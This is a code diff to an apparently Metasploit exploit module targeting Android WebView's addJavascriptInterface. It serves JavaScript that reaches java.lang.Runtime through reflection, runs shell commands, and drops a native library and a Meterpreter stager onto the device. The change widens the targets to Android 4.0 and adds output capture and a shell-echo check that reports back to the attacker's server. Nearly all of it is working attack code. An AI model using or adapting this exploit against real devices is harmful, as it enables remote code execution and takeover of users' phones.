@@ -28,20 +28,12 @@ class Metasploit3 < Msf::Exploit::Remote
28
28
:os_flavor => 'Android' ,
29
29
:javascript => true ,
30
30
:rank => ExcellentRanking ,
31
-
32
- # The Android 4.0 shell is different than other versions of android
33
- # in that the echo builtin does not allow the \x hex encoding syntax.
34
- # Android 4.0 is still vulnerable to the Java reflection exploit, but
35
- # until we find a way to drop and run the payload, we can't support
36
- # it as a target.
37
31
:vuln_test => %Q|
38
- if (!navigator.userAgent.match(/Android 4\. 0;/)) {
39
- for (i in top) {
40
- try {
41
- top[i].getClass().forName('java.lang.Runtime');
42
- is_vuln = true; break;
43
- } catch(e) {}
44
- }
32
+ for (i in top) {
33
+ try {
34
+ top[i].getClass().forName('java.lang.Runtime');
35
+ is_vuln = true; break;
36
+ } catch(e) {}
45
37
}
46
38
|
47
39
)
@@ -97,6 +89,8 @@ def initialize(info = {})
97
89
def on_request_uri ( cli , req )
98
90
if req . uri =~ /\. js/
99
91
serve_static_js ( cli , req )
92
+ elsif req . uri =~ /\. msg/ && req . body . to_s . length < 100
93
+ print_warning "Received message: #{ req . body } "
100
94
else
101
95
super
102
96
end
@@ -119,7 +113,17 @@ def ndkstager(stagename, arch)
119
113
def js ( arch )
120
114
stagename = Rex ::Text . rand_text_alpha ( 5 )
121
115
script = %Q|
122
- function exec(obj) {
116
+ function exec(runtime, cmdArr) {
117
+ var ch = 0;
118
+ var output = '';
119
+ var process = runtime.exec(cmdArr);
120
+ var input = process.getInputStream();
121
+
122
+ while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
123
+ return output;
124
+ }
125
+
126
+ function attemptExploit(obj) {
123
127
// ensure that the object contains a native interface
124
128
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
125
129
@@ -135,6 +139,19 @@ def js(arch)
135
139
.getMethod('getRuntime', null)
136
140
.invoke(null, null);
137
141
142
+ // now ensure we can write out a hex-encoded byte with the shell's echo builtin
143
+ var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\ \\ x66"']);
144
+ if (byte.indexOf("\\ \\ ") > -1) {
145
+ // if youre havin byte problems
146
+ var xml = new XMLHttpRequest();
147
+ // i feel bad for you son
148
+ xml.open('POST', '#{ get_module_resource } .msg', false);
149
+ // i got \\ x63 problems
150
+ xml.send("Unsupported shell echo builtin: exploit aborted.");
151
+ // but your shell aint one
152
+ return true;
153
+ }
154
+
138
155
// libraryData contains the bytes for a native shared object built via NDK
139
156
// which will load the "stage", which in this case is our android meterpreter stager.
140
157
// LibraryData is loaded via ajax later, because we have to access javascript in
@@ -147,9 +164,7 @@ def js(arch)
147
164
148
165
// get the process name, which will give us our data path
149
166
// $PPID does not seem to work on android 4.0, so we concat pids manually
150
- var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
151
- var ch, path = '/data/data/';
152
- while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
167
+ var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
153
168
154
169
var libraryPath = path + '/lib#{ Rex ::Text . rand_text_alpha ( 8 ) } .so';
155
170
var stagePath = path + '/#{ stagename } .apk';
@@ -172,9 +187,7 @@ def js(arch)
172
187
return true;
173
188
}
174
189
175
- if (!navigator.userAgent.match(/Android 4\. 0;/)) {
176
- for (i in top) { if (exec(top[i]) === true) break; }
177
- }
190
+ for (i in top) { if (attemptExploit(top[i]) === true) break; }
178
191
|
179
192
180
193
# remove comments and empty lines
0 commit comments